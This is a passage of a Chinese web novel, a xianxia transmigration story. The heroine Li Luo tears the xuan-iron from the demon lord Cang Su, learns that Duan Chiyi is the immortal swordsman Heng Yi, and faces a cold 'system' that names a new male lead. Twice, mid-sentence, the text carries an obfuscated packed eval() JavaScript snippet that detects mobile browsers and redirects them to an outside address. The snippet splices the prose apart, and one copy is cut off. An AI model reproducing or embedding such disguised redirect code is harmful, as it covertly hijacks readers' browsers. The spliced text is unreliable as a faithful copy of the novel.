他心里涌上一股诡异的情绪,全然陌生的感觉,让他的呼吸变得有些焦躁。 于是他猛地转身,背对着黎落道: “我答应你。” “我放过封樾,你将身体给我,助我杀出极渊、重回魔界!” 黎落却道:“还不够。” 她看向沧宿,目的明确: “你在极渊日久,一定知道玄铁的去向,我要玄铁。” 沧宿闻言神色一顿: “你要玄铁做什么?” 他眯起眸子看向她: “你不会还在痴心妄想,以为玄铁可以伤到本尊吧?” 他冷哼一声,语带警告: “此物一旦被人挪动,便再也不能用来开阵,更不可能伤了本尊,劝你不要继续痴心妄想。” 沧宿看了一眼坐在地上望向他的黎落,她眉眼前全是坚持。 鬼使神差的,他忽然说了句: “你与本尊交易既成,本尊可以许诺,待本尊借你躯壳以杀入道重塑魔躯,届时或可留你一命。” 他身为魔尊,终其一生所求以杀入道,手下亡魂无数,这还是他第一次承诺可以留下某人的性命。 或许是灭世杀道注定与死亡相伴,他厌了、倦了,想得到一个心智坚韧、力量强大的同行之人。 黎落虽是凡人,原本与“强大”二字毫无关联。 但他就是觉得,她足够强。 有幸被他选中,合该感恩戴德,从此忘掉封樾那个冒牌货,一心一意与他合作。 但黎落竟然摇头拒绝: “不必。我一定要玄铁。” 沧宿必然会死,她根本不在乎他的承诺。 她此刻更关心的,是原著中始终没有露面的玄铁。 原著中,仙门封印青崖城后并没有带走什么法器。 若她猜的没错,玄铁不在仙门手中,就一定还在极渊下面。 最近她想了很久:破妄剑是原著中板上钉钉的武器之首,她若还按着原来的思路在现有的剧情里寻找,一定难以找到能够超越破妄剑的武器。 为今之计,只能从原著没有提及的地方下手。 比如,传说中可以变幻出任何武器的玄铁。 沧宿活了这么些年,难得给出的一次承诺竟然被她毫不犹豫的拒绝。 他本该怒不可遏。 但奇怪的,他竟没有生出怒而杀人的念头。 他审视着黎落,第一次如此认真地看着一个人的脸。 他想看看这个胆大包天放走封樾、敢对他动手、还敢同他交易的女人,究竟长了怎样一副无法无天的样貌。 但他入目所及,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525154|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是一张齐整白皙的女子容貌。 他原本并不知道什么叫漂亮,人在他眼里只有“死和活”的区别;但见到黎落,心里头一次有了“漂亮”的概念。 她拥有一双干净纯粹的眼睛。 很漂亮。 他若夺舍她,必不会嫌弃这副躯壳。 此刻那双眼睛正专注地望着他,黎落微微歪了头,似在不悦: “你是不想继续交易,还是不知道?” 沧宿回过神来,道: “玄铁,确实还在极渊之下。” 黎落的眼睛一下子亮了起来。 沧宿被她眼里的光晃了一下,猝然转身,避开她的视线,随手一指: “就在这地底之下,你若能找到,便……” 他话未说完,黎落已急忙站起身,环顾四周。 系统的声音忽然响起: “请宿主准备撤退,珩亦杀魔尊的剧情点即将到来。” 与此同时,她头顶忽然传来一声巨大的轰鸣,脚下的地面也晃动起来,地动山摇。 沧宿感知到来人,眉眼间的轻松褪去,声音里带着杀气: “仙门鼠辈……” 他伸手抓向黎落: “将身体和混沌之力给我,助我破开极渊!” 黎落本就不是真心帮他,此刻终于等来了珩亦,当即挥手以混沌之力成刃,迅速朝上方斜切一刀,破开了一条窄长的口子。 祭坛中的火从那道缺口朝下溢出,伴随着一股气势庞大的灵力,顿时将那道缺口冻住。 但很快,头顶的墙壁便如同有生命一般,迅速蠕动到那道口子上,将其堵死。 黎落隐约从中看见了一道剑光。 沧宿的攻击已近在眼前,他声音里全是被背叛的不可置信。 “你要帮仙门?!” 黎落挡住他的魔气。 她借着沧宿的魔魂才能使用混沌之力,本就不可能同他死战,此刻只想拼尽全力助头顶的珩亦打开洞口下来。 但她的行为反而使沧宿更加愤怒,他无法像夺舍封樾那样强行夺舍黎落,更不能理解她为什么会帮仙门: “你以为放上面那人进来,他就会放过你吗?” 他试图再次利用黎落体内的魔魂击垮她: “你身带本尊魔魂,又有混沌之力,不选本尊,反选仙门蛇鼠之辈!你找死!” 黎落又一刀击向头顶,感受到体内魔气再度缠上经脉,压得她肩膀上伤口瞬间溢血。 她眉眼间泛上戾气: “你才找死!仙门剑下,你必败无疑!” “败”字刺激到了沧宿,他的表情瞬间变得阴森: “闭嘴!” “本尊从不曾败!” 他长臂化作流体,瞬间闪至黎落身旁,一把掐住她的脖子,神色变得狰狞: “你以为仙门是什么好东西吗?你以为上头那人是什么光风霁月的君子吗?愚蠢!” 他声音里带着浓重嘲讽,脸上五官再度消失,转为一片燃烧着的空白。 “本尊这些日子发现了一件有趣的事。既然你愿意与本尊合作,倒是可以分享给你。” 火焰开合,如同人嘴,吐出满是恶意的字句: “黎落啊黎落,你可知道常伴你左右的段迟意,他究竟是谁?” 头顶剑气越攻越猛,两边墙壁已经有碎石落下。 系统更是再次提醒她“尽快撤离”。 黎落被他掐住,混沌之力从她指尖浮出,只消一口气砸到头顶的墙上,便可上下合力,帮珩亦打开通道。 只要他下来与魔尊对上,她便可趁机逃跑。 但沧宿的声音仿佛一把刀子,将她瞬间钉在原地。 “他就是仙门弟子,破妄剑主,珩亦。” 48. 第 48 章 “他就是仙门弟子,破妄剑主,珩亦。” 黎落猛得抬眸。 系统的话骤然浮现在耳边。 “剧情线偏移,破妄剑意‘以命相换’,珩亦于斩杀魔尊,一同散于天地……” 段迟意…… 段迟意和珩亦过往的言行举止如同火山喷发般瞬间从记忆中冒出来,同时压向她的理智。 她的脑子里发出“嗡”的一声响,眼睛忽然开始看不清东西。 头顶传来一声巨响,是破妄剑斩开了洞口。 他到了,剧情到了…… 黎落瞳孔泛上浓黑,瞬间将本来的颜色覆盖。 在沧宿来不及惊叹混沌之力的威力时,她的血已经喷了出来,落到他掐着她脖子的手上。 但他没有机会说话。 因为黎落的手同时伸进了他的腹部,五指被混沌之力淬炼成刀,攥住了他得以维持人形的核—— 一块乌黑玄铁。 魔气附着在玄铁上,像血肉依赖心脏。 但现在,玄铁被黎落握在手中。 她面无表情地看着沧宿,嘴唇被自己的血染成鲜红,双目浓黑,目光森冷。 五官在这一刻褪去了温和柔弱的假象,骨子里长出的残酷无情悉数暴露。 她又捅进了一只手,握住,拧动。 然后猛得朝外一拽—— 沧宿发出一声惊天长啸,魔气群龙无首般四散,瞬间被破空而来的剑气扫荡一空。 黎落手里拿着一块漆黑玄铁,缓缓地、浅浅地、如释重负般吐出一口气。 然后她抬头,重重擦去脸上的血,回头,装作什么都没有发生的样子,冲来人扬起个灿烂的笑来,目光没有聚焦: “段迟意,你终于来救我了!我又看不清东西了。” * 段迟意不是没有想过,自己频繁在黎落面前出现,身份暴露只是迟早的事。 极渊内危机重重,不但有仙门封印,更有沧宿躲在暗处,黎落身上的魔魂和混沌之力,简直让她成了活靶子。 他知道如果和沧宿对上,自己的下场八成就是殉道身亡。 这也只是他一直在等待的事情而已。 但没想到,此刻面对的竟是这种场景。 落败死去的沧宿,以及—— 满手血迹的黎落。 她站在原地没有动,在等着他回答。 只是“段迟意”三个字一出,好像一锤定音般,将所有的可能性和疑点都掩盖下去。 或许他现在应该庆幸,庆幸黎落没有揪住他的破绽不放。 他应当收起破妄剑,摘掉面具,继续扮演黎落更喜欢的那个灵妖段迟意。 但段迟意心里却陡然生出几分古怪。 某个瞬间他忍不住怀疑,黎落是不是被魔气控制了。 但她没有。 她的神态和往常一样,甚至没有任何情绪变化,仿佛沧宿的生死、亦或是他暴露出的身份端倪,都不足以使她产生动摇。 她心里有一套独特的运行逻辑,排斥一切不受控制的变数——包括他。 段迟意不知道自己究竟想要一个什么答案。 但他还是走了过去,握住她的手: “是我。” 黎落肉眼可见地松了一口气,然后她的笑更加明媚起来,像是抓住了自己的最想要的宝藏。 她扬起脸问他: “我看不到,你告诉我,沧宿是不是真的死了?” 段迟意没看地上那散落的混杂的火焰,他只是低头看着黎落睁大的眼睛,试图从中看到她真实的想法。 但除了遮盖一切的黑,什么也没有看见。 于是他道:“或许吧。” 他抬手抚上黎落的脸。 她察觉到他的动作,主动抬手,将他的手掌按在她脸上,分明是个依赖亲近的动作,却总带着点莫名蛮横的意味。 “段迟意。” 她又叫他名字,并且用了她一贯拿来哄骗人的语气,软软糯糯地冲他说: “你不要和沧宿打架好不好?我一个人就能杀了他。” 她看不到段迟意的表情,只能感觉到他微凉的掌心贴在她脸颊。 闻言,指腹轻轻摩挲着她眼下的皮肤,认真,轻柔,带给她莫名的想哭的冲动。 但黎落没有动,依然睁着眼睛“望”着他。 “你受伤了。” 他擦掉她眼下溅上的血迹和灰黑,对她没来由提出的要求不置可否。 黎落这才后知后觉地意识到,肩膀上的伤口似乎崩开了,皮肉下的经脉躁动着、拉扯着,像是要把她整个人扯成两半。 但转眼间,有冰凉的灵力盖在上面,将痛感压了下去。 她的视野里一片漆黑,只能凭触觉猜测段迟意的动作。 一只手拉过她的手腕,手心忽然一空,玄铁被人拿走。 黎落一惊。 然而下一刻,灵力便如同冰凉的冷泉缓缓流过,将她手上残留的血迹洗净。 手指上粘腻的触感消失不见,手腕旋即一沉——是段迟意将玄铁又放回了她手里。 黎落急忙握住玄铁。 “这是……” 她一脸犹豫,张口想要解释。 但刚起了个头,嘴里立即被塞了个冰冰凉硬邦邦的东西。 她条件反射地咬了一口。 灵力在口腔中炸开,化作冰凉的气息流进她的经脉。 喔,是被她夸过“嘎嘣脆”的“灵力丸子”。 于是她又开始连续不断地吃“灵力丸子”,想说的话也早抛到了脑后。 直到确认体内的魔气完全被压了下去,对方才停止投喂灵力。 黎落甚至怀疑,如果不是没有材料,段迟意可能会顺便帮她把火燎的衣服也补一补。 段迟意沉默着做完这一切,见面前的人终于不再是血淋淋灰扑扑的模样,他心里的不安才缓和了一些。 只是还未来得及开口说话,黎落手里的玄铁便忽然闪过一道光。 是灵符的痕迹。 随着那道光打到两人背后的墙壁上,一个人影缓缓从虚空中浮现。 素袍玉冠,是仙门弟子打扮。 黎落的眼睛尚未恢复,只感觉手中玄铁猛得一震,便有什么东西从上面滑走。 随后身后便出现一道低沉的声音: “吾奉师命,取走玄铁,致使青崖城法阵失效。” “……见城中惨状,方觉罪恶滔天,故藏玄铁于此,只求与青崖百姓同亡……” 段迟意的目光在见到那虚影的同时变得凌厉。 而听完虚影留下的话后,他护住黎落的动作瞬间停在半空。 “你说什么?” 他的声音是前所未有的冷。 那虚影却在半空晃荡着,没再出声了。 段迟意拧眉,抬步朝虚影的方向走去。 “段迟意!” 她急忙抓住他,感受到他瞬间不受控制暴起的力度,将她的手指都捏得一痛。 只是很快段迟意便反应过来,他克制着情绪,将黎落拉到自己背后: “我没事。” 他虽这么说着,头脑中的记忆却如同潮水一般涌了上来,字字句句压得他喘不过气。 “青崖城守护法阵不力,导致魔族入侵……” “青崖城全城为赎自身罪孽,甘愿以身为祭,助仙门封印魔族……” “段迟意,你为青崖罪城之人,执剑行事多有不便,唯有隐姓埋名,才好令天下人信服……” 他眯起眸子,痛苦神色自双眸中闪过。 黎落心生诧异。 虚影的话她也听到了,联想到原著里一些隐晦的暗示,不难猜到,青崖城当日的意外或许是仙门有意为之。 只是没想到段迟意似乎很是在意。 她对眼下的情况同样有些理不清,只能拉住他袖口问道: “段迟意……你怎么了?” 伸出的手被段迟意反握住。 他的呼吸略有些沉重,但仍死死克制着。 虚影再次开口: “吾有所感,封印大开,沧宿复生,青崖城中魔气深重,不止沧宿一人……” 黎落的眼神一下子变得冷酷。 “不止沧宿一人”,那便是说封樾了。 这虚影真是讨厌。 她想要装作无事发生,偏偏这东西找死,硬是要把段迟意从她身边抢走。 为什么? 难道这就是剧情,这就是她的命运,注定要和段迟意正邪对立,刀剑相向,以至死于他手吗? 她就一个人都留不住吗? 黎落压下心底的戾气,拉住段迟意,对虚影说的话置若罔闻: “我想回去了,我们离开极渊吧,我不想呆在这儿了。” 段迟意整理好情绪,低头看她一眼,视线从她的眼睛上扫过,到底担心 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段迟意心里的古怪之感加深,他可以确定,黎落现在的状态一定不太正常。 无论如何,青崖城已是往事,就算他有疑惑怀疑,也该亲自去问师尊,而不是在这里惊疑不定。 而且,他本该今日在此和魔尊同归于尽,却被黎落忽然插手打破,也许正是天意。 当务之急,是得送黎落出去。 段迟意于是点了点头,想起黎落看不清楚,又开口道: “我们一起回去。” 黎落抓着他的手指这才放松了几分,因过分用力而显得苍白的指节缓缓恢复血色。 “段迟意……” 那虚影再度凝成人形,闻言喃喃自语: “这个名字……” 下一刻,他忽然想到了什么似的,骤然高呼: “你们不能走!” 那虚影还保留着仙门弟子生前的灵力,闻言猛得挥出灵力朝段迟意而来: “青崖城全城以灵魂献祭,生生世世不得轮回,只为将魔族悉数困于此处,你怎可不顾大局,一时怯懦,放任魔族逃逸!” “段迟意!我记得这个名字,昔日青崖城城主之子,拜入仙门——” 段迟意身形一滞,黎落顿时甩开他的手,魔气突增,与虚影对上。 她本就在混沌之力暴起边缘,此刻骤然起了杀心,便是段迟意也未有防备,竟叫她的魔气直直剿上那虚影。 对方的话也随之变得支离破碎: “你……混沌之力……魔……” 段迟意按住她没受伤的一侧肩膀,没有用力,却也使黎落不能立即将虚影捏碎。 黎落转头,语气讥诮: “段迟意,青崖城若真是被仙门所害,你不会还想着,要以德报怨,用命助他们完成最后一步吧?” 她看不见段迟意的表情,但他的沉默使她骤然生气起来。 她脑海中全是原著中的、珩亦杀了她、最后又死在她身边的场景。 这个世界上,她和段迟意都是剧情的工具和棋子,凭什么他们这样的倒霉蛋不肯去死,就要被别人指着鼻子骂“不顾大局”? 她不顾段迟意的阻拦,猛然发力,虚影依托的灵符便碎了一地。 周围彻底安静下来。 黎落却不知道又想到了什么,身上那种尖锐暴戾的气息骤然消退,转为一种不同寻常的平静和麻木。 她如愿捏碎了虚影,再也没有人会说出一些她不想听的话。 但她却垂着头看着玄铁,随后脱力般靠在被她砸碎的墙壁废墟上,抱着膝盖不动了。 段迟意这才开口: “青崖城,确是我之故土。” 黎落没接话。 她厌恶这种拼命逃避却还是不得不面对的情况。这让她觉得无力,觉得绝望,好像只能束手就擒,等着命运审判。 段迟意于是又道: “你方才不许他说话,是因为你已经发现了,其实我就是……” “你闭嘴!” 黎落猛得打断他。 她抬着头,眼神里明明白白写着对他想要说出口的话的厌恶。 “不管你是谁。” “我只要段迟意。” 她冷冷道。 49. 第 49 章 她语气中的偏执让段迟意心惊。 而她眼底那样明晃晃的厌恶,也是第一次对着他。 段迟意于是缓缓走到她身边,看着她的脸,忽然问了句: “你的眼睛是……” “我不想看见你打扮成别的样子。” 黎落毫不犹豫地承认了。 她故意在动手的时候放任魔气反噬自身,这样就不用看到段迟意带着面具在她面前装成珩亦的样子。 说完,她又低下了头,只留一个头顶给他看。 段迟意神色动容。 他从心底里生出几分荒谬之感,像是第一次认识黎落一样。 于是他也在她身前单膝跪地蹲下。 黎落感觉一只手放在她头发上,轻轻顺了顺她的发丝。 段迟意的声音从头顶传来: “以后,不要拿自己的性命开玩笑了。” 黎落冷哼了一声,垂着的头抬了一点,感受到段迟意的灵力流过她周身。 她拉住他的手,抬起头,眼前的黑气散去几分,隐约能看见他的样子。 然后她抱着最后一点期待问他: “段迟意,你就不能,永远是段迟意吗?” 她目光专注,语气天真到近乎残忍,甚至显得冷酷: “那天你不是说过,你想永远留在云苍阁当段迟意吗?” “我杀了他们,就没人能再知道你的身份,没有人能把你从我身边夺走,你为什么要阻止我?” 段迟意看着她,微微蹙眉。 这些许的质疑刺激到黎落,她的目光扫过他神色,冷笑一声,蓦地松开他的手。 她猝然起身。 像是在水下憋了很久的人,终于可以短暂地浮出水面,可以张口宣泄她的绝望: “你是不是想和我说什么大局、什么苍生,我告诉你,全都是放屁!” “你难道从来都没有怀疑过,这个世界是假的吗?他们对你的好、对你的坏,到底是因为你是你,还是因为你是这个角色?” “他们说的每句话,做的每件事,到底是出自真心,还是出自剧情设定?” “如果有一天,你的亲朋好友全都死了,还会有一个声音告诉你,这都是假的,都是为了大局,都是为了他们想要的美好结局,你凭什么还要走他们规定的路?!” 她崩溃,绝望,站的摇摇欲坠。 长久积压下来的愤恨,让她忍不住想要干呕。 段迟意站起身,闻言露出震惊和意外的表情。 他心里有很多问题,比如什么是“剧情”,什么又是“设定”,以及是否是这些东西让黎落一直惴惴不安。 但黎落的状态很不好,显然不是能继续解释的样子。 他于是很快调整好了表情,伸手想要扶黎落: “先别说话了,我们先回去……” 伸出的手却被她反手重重拍开。 黎落脸上带着毫不作伪的怨恨,说不上是对着面前的段迟意,还是对着这该死的毁了她人生的剧情。 “你觉得你能保护一切吗?你根本不知道,剧情早就把一切都定好了,我从来都和你想要保护的天下苍生——不站在一边!” “黎落……” 段迟意叹息,眸中有心疼的情绪一闪而过。 他看着黎落,忽然开口,问道: “你是不是恨我?” 他声音轻缓,像是叹息的尾声,偏偏又在她心头敲出一记沉重的闷响。 她被他忽然抛出来的问题吓了一跳,诧异震惊等等复杂的情绪瞬间涌了上来。 她顿时愣住了,竟没能立马反驳。 段迟意望着她,神色清明,带着了然。 于是她开始感到恐慌。 她意识到段迟意接下来要说的话会彻底毁掉她想维持的平和表象,她必须让段迟意闭嘴。 但奇怪的是,一种更为强烈的、近乎自毁的情绪压过了这种恐慌。 她没有立即阻止他,甚至隐隐期待。 于是段迟意的声音便毫无阻拦地出现在两人中间。 “你恨我没有按照剧情行动,恨我对你无缘由的喜欢拖累了你的计划。” “你痛恨剧情对你的限制,却又无比畏惧剧情没有描述过的情感和人物,因为无法掌控,无从推断,所以时刻提心吊胆。” “你分不清真假,所以只好把一切都当成假的。” “只要都是假的,你就可以冷眼审视周围的发生一切,遇见想要的便出来抢,不想要的便割舍的毫无负担。无论是冯府,还是魔魂,又或者是——我。” 他欲言又止。 “黎落,你真的想这样活着吗?” 黎落后退半步,呼吸变得急促。 他的每句话都像锥子一样砸在她心口,砸得她头晕眼花。 她感觉自己在段迟意的目光下无所遁形。 他怎么能什么都看得出来,却还能装作什么都不知道一样留在她身边呢? 看她像小丑一样,一边喜欢着段迟意,一边却拼命想要反杀掉珩亦。 他演的可真好啊,就好像这世上真的有一个不被剧情掌控的段迟意,愿意在这个虚假的世界里陪着她…… “为什么?” 她眼前有水光一闪,滚烫的泪水滚落而下: “你到底……” “我爱你。” 段迟意及时抬手,接住了那滴落下的泪水。 和她的下巴隔着一段距离,他掌心向上,虚捧着她的脸,仿佛捧着珍贵的宝藏。 “虽然不知道你为什么会对这个世界有这种认知,但是——” 他神色郑重,看着她的眼睛,内心情绪毫无保留地从黑眸中折射出来: “黎落,我真实地存在着,并且真切地爱你。” “……” 黎落的瞳孔颤抖着,她的目光在他脸上来回移动,想要从中找到哪怕一丝一毫的虚伪,然后她就可以继续毫无负担地表演下去。 但她没有找到段迟意的纰漏。 他的目光让她感到害怕。 他想要动摇她的认知。 这个虚假的世界,怎么可能有真的感情? 怎么能有真的感情?! 那她是否该为过去的一切伤心,是否该为被她抛弃的人和事内疚? 她该怎么办? 她又能怎么办?! 黎落又后退了一步,踩在一块碎石上,险些摔倒。 段迟意急忙想要拉住她,却被她一道魔气打在手臂上。 然后她拼命稳住身形不在段迟意面前倒下,用尽最后力气扔下一句“别跟着我”,转身逃也似的跑了。 * 封樾站在极渊最高处。 当幻境中的青崖城彻底消失的时候,仙门留在极渊上方的封印会短暂的出现缺口,届时他便可从出口逃离。 胳膊上攀着的藤蔓忽然有了动静。 封樾松开手,藤蔓落地,化为程韵的模样。 她跪在地上,瞳孔间带着条竖线,是被魔气重伤的痕迹。 “多谢君上救我。” 封樾没有回复。 他满脑子都是黎落的样子,之所以顺手带走程韵,也不过是因为这个藤妖尚有用处。 顺便的,他又想到了秦如霜。 黎落当日设局杀害如霜,难不成是因为吃醋? 封樾不禁想到那日极乐楼的斗兽台上,秦如霜确实十分敌视黎落,也难怪黎落会杀她泄愤。 不过,秦如霜死了也好。 一个只会争风吃醋、仗着对自己有恩便随意对他身边人下手的女人,留着到底是个祸患。 纵使没了渡魂玉,沧宿也难以逃离极渊封印,他封樾,终究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她好不容易才盼到秦如霜死了,君上终于看到了自己,将自己提拔为贴身伺候的人。 她无数次暗暗发誓,一定要牢牢抓住君上这个强大的倚靠…… 如今,竟落得个被君上残忍抛弃的下场! 程韵心里的恨顿时冲淡了一切。 被仙门封印困死的一瞬间,她双目忽然变得通红。 满头长发化作枝叶,如雨后春笋般铺满天际。 最为尖锐的枝干朝着封樾的方向疯狂生长,眨眼便触及了他的肩膀。 青紫色斑点附着在藤蔓表面,散发着不详的气息。 封樾察觉到肩膀上的痛意,下意识回头,却忽然发现自己的脖子开始变得僵硬,甚至浑身都在失控。 他心道不妙,试图用魔气夺回身体的控制权。 但扎在肩上的藤蔓却化作强盛的魔气,深入他的体内,将他的骨血死死扼住。 魔纹自他脸上浮现,双眸间缓缓生出一道若隐若现的艳红魔印。 封樾脸上惊慌、愤怒、恐惧的表情几度变换,最终成为一派森冷的平静。 那道艳红魔印也彻底从皮肉之下长出,让他的容貌呈现出几分阴冷可怖的诡异。 他的生命彻底消失之前,最后听见的,是沧宿冰冷中带着嘲弄的声音: “多亏你带来藤妖,助本尊重获新生。” * 与此同时,黎落感觉自己心脏猛得一揪,呼吸瞬间变得困难。 系统的声音出现,带着冷酷无情的杀意: “男主死亡,即将对女主进行抹杀。” 50. 第 50 章 系统话音刚落,耳边骤然传来剧大的破碎声。 仿佛有无数碎裂的尖锐渣子从耳膜穿进大脑,黎落痛的睁不开眼,一下子摔倒在地。 世界在耳畔嗡鸣,摇摇欲坠。 零散的金光从天而降,是沧宿撕开了极渊上方的仙门封印。 被镇压两百年之久的魔族没了辖制,又得魔尊引领,魔气大增,冲天而起。 与封印一道困守魔族的青崖城诸多将士的魂魄顿时脱力,绝望不甘的尖啸声自四面八方传来,鬼声凄厉,却无法阻止封印破碎的趋势。 立于极渊上方的沧宿神色冰冷,魔气成爪,猝而用力,漫天金光顿时淅淅沥沥落了下来,更多魔气肆无忌惮地朝着人界扑杀而去。 仙门用青崖城全城百姓的性命所设的极渊封印,自此彻底碎裂。 魔尊复活,魔族再起,三界大乱。 一如原书剧情所说。 封樾……或者是沧宿,那个视三界为蝼蚁的魔,将重新挑起仙魔之战。 她几乎听见远处的人们被魔气屠杀、生离死别时的呼号,犹如昔日的两河镇。 可那是男主成魔神的荣光。 是剧情。 她将死在这不幸开始之前。 这是她的幸运吗? 她怎么会这么难受呢? 恍惚间,黎落听见系统在她耳边说: “宿主,今日所有,全因为您违抗剧情。” “其实您折腾到现在,除了把自己提前害死,还能改变什么呢?” “就算没有您,魔族终究还是会破开极渊封印,屠戮三界。倘若动手的是封樾,您作为女主,与男主荣辱与共,又怎会落得如此狼狈的下场呢?” 系统的声音机械、冷漠,带着嘲讽: “我早便警告过您,只要您按着剧情行动,就一定能回家。这个世界的尊严、情感、生死,都是假的,您为什么就想不通呢?” “宿主,如今你便是后悔,也晚了。” 黎落被魔族和鬼魂的尖啸成淹没,脸颊旁是混着雪花和封印碎片的碎石,稍一动便能划伤她的皮肤。 可是她没有力气站起来,甚至因为心脏上的疼痛不自觉地颤抖起来,细碎的伤口溢出血丝。 她眼睛本就看不清东西,黑的红的色块混在一起,被瞳孔前生出的雾气晕染成一团。 她心脏被系统扼住,呼吸困难,却强撑着不让泪水落下。 “我不后悔。” 她喘息着,吐出这几个字。 呼吸不畅,说出的话轻不可闻,甚至让她怀疑自己究竟有没有发出声音。 她于是又重复了一遍,用尽了全身力气冲系统喊道,忍无可忍般: “我不后悔!” 她从未这样强硬地与系统沟通,系统有些讶异,揣测着她的心理: “您不会是打着破罐子破摔的主意,任务失败,提前死亡,照样能回到现代吧?” 它不屑道: “宿主,您真是愚蠢得可笑。” 黎落没有反驳,或许是再也没有力气说话了。 不过几息的寂静,她却觉得漫长的好像过了半辈子。 过了好久,久到黎落已经觉得自己死了,系统的声音才再度响起,听着,倒像是临别前的关怀: “其实,您本可以不死去的。可珩亦即将与魔尊同归于尽时,您为什么要提前动手呢?” 黎落茫然地睁开眼。 系统追问: “您是想要魔尊体内的玄铁,还是——不舍得珩亦死去呢?” 像是想在最后看到黎落后悔痛哭流涕的模样,系统的声音里带着毫不掩饰的恶意: “他可是注定要杀死您的人,您若是再心狠一些,这些阻碍你活下去的东西都会消失,可您为什么偏偏要动手呢?” 但黎落没在意它的意图。 她摸索着找到了被她收起来的玄铁,感受着冷硬的触感,喃喃道: “我原本想,送他一把剑。” 然后她挣扎着抬起头,努力睁大眼睛去看头顶的天光。 浓黑魔气遮云蔽日,极渊上空只余一线明亮日光,像是永远都无法驱散那气势汹汹的黑。 她看着那仅存的一线天,神色恍惚: “但是,他似乎……不需要我的剑了。” 这个世界上根本没有段迟意,只有仙门首徒,破妄剑主,杀了女主的珩亦。 珩亦要守天下苍生,要走仙门正道,这条路上,再没有比破妄剑更好的剑了。 或许他们最终都会回到剧情中。 或许她真的只是一个毫无用处的角色,只能给男主的成功添砖加瓦。 她只会越努力越不幸,对剧情不会有一丝一毫的改变,死亡才是她存在的价值。 心里有个声音对她说: 算了吧,这里哪个人不是这样过来的。 她其实和其他角色并没有什么不同,只是多了一份来自现代的记忆,便妄想着可以改变剧情。 她其实只是一个普普通通的局中人啊,无能为力,不是一件再正常不过的事吗? 可另一个声音不甘地反驳: 连封樾这样占尽优势的男主都死了,她的努力其实也并不是全无作用。 纵使是男主,也得和她这个挂件女主一起死,怎么不算她这个人的成功呢? 黎落眼皮开始变得沉重,生命流逝的时候,身体里好像多了一个倒计时,她无比清楚地意识到,自己快要死了。 直到系统忽然对她说: “恭喜宿主。” 话音落,扼住她心脏的那股力量随即消失,大量的氧气灌进了胸腔,黎落本能开始大口呼吸起来。 但生的机会没能使她感到放松。 她无来由地从心底生出一股恐惧,好像有什么十分可怕的事情发生了。 “由于沧宿夺舍了封樾身体,男主身份、行为逻辑变化不大,经系统评估判定,沧宿比封樾更能达成‘魔神’结局,因此,《成魔》原著剧情线不变。” 系统的声音无比平静,却三言两语抹杀了封樾的存在,透出让人作呕的残忍: “男主角色发生改变。姓名:沧宿,身份:魔尊。恭喜宿主,您可以规避抹杀结局,继续您的任务了。” 黎落被这一连串的系统提示砸得一愣。 待她反应过来系统话中的意思后,比“存活下来”的欣喜到来的更快的,是一股难以抑制的反胃。 偏偏系统还在继续说: “宿主,希望您珍惜机会。沧宿不同于封樾,若非你有混沌之力在手,早便被他杀死了。” “如今他觊觎您的力量,这正是您攻略男主的好机会。” 黎落恢复了几分力气,她从地上爬起来,看着逐渐朝她靠近的魔气。 沧宿撕碎封印,自然也发现了她。 他不会轻易放过她。 黎落没有逃,也没有抵挡。 魔气攻来的这一幕在她眼前仿佛慢放一样,如同命运朝她压下,避无可避。 她觉得有些恍惚,不禁问道: “男主……?” 系统回以虚伪的肯定: “是啊,男主,沧宿,现在才是本书男主,您要攻略的对象。” 黎落仿佛听到了什么笑话似的,控制不住,忽然发出一声嗤笑。 她深吸了一口气,试图冲散胸腔中那股沉闷窒息。 却又咳 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黎落吐了半天,却什么都没能吐出来。 按在心口的手猛得攥紧,她几乎要徒手把自己的心脏挖出来,也好过像个工具一样,被系统随意拉去配给别人;也好过被沧宿抢走混沌之力,反去杀害更多无辜的人! 过了好久,她才意识到自己还好好站在原地,沧宿的魔气到现在还没有伤到她。 黎落茫然地抬头。 她面前立着个熟悉的身影。 他没有戴面具,破妄剑却牢牢握在手中,替她挡住了迎面压下的魔气。 但所有人都知道,这是仙门珩亦。 不是她的副阁主,段迟意。 段迟意回头看了一眼黎落,分出灵力护在她四周,随后提剑朝沧宿攻去。 他不必再遮掩仙门弟子的身份,便可以当着她的面用仙门的灵符和剑招。 黎落看着那道和魔气撞在一起的剑光,划开天际仅余一线的光,带出一片冷而冰的寒光。 一人一剑,将极渊下无边魔气拦住。 她竟然在这一片混乱中,感受到了莫名的安静平和。 于是她缓缓松开了揪着自己心脏的手,站直起身。 她感觉自己像是站在一片虚无中。 一边是系统说的“沧宿是男主”、“她也不干净”,一边是沧宿得意的笑声。 “魔气遇恶则生,斩除不尽,你想杀本尊,便得杀尽天下人!” “仙门又如何?破妄剑又如何?你杀了这具躯壳,本尊便附身到你那小情人身上。她拿着混沌之力,只怕在仙门眼中,比本尊更加该死。” 随着他话音落,仙门方向传来灵鸟长鸣,是仙门察觉到这里的动静,派了人前来。 不能让仙门见到黎落。 段迟意神色愈冷,剑势不减。 沧宿见他不为所动,勾起嘴角,额间魔印自下而上闪过一道红光,色泽更深。 系统恰在此时在黎落眼前放了一段她现代父母的影像。 她动作一顿。 离开了太久,她几乎已经忘记了父母的样子。 但那车水马龙、高楼大厦,与她记忆中的场景吻合,她还是不由得恍惚了一瞬。 整个人便被四肢百骸忽然蹿出的魔气一扯,撞破段迟意留下的防护灵符,毫无抵抗地被魔气控制着,扯到了段迟意面前。 她眼神空茫,听得系统说: “想想你在现实世界的父母。你不想回家了吗?” 黎落瞳孔颤抖,隔着父母的虚影,望向段迟意。 51. 第 51 章 黎落耳边开始出现风声。 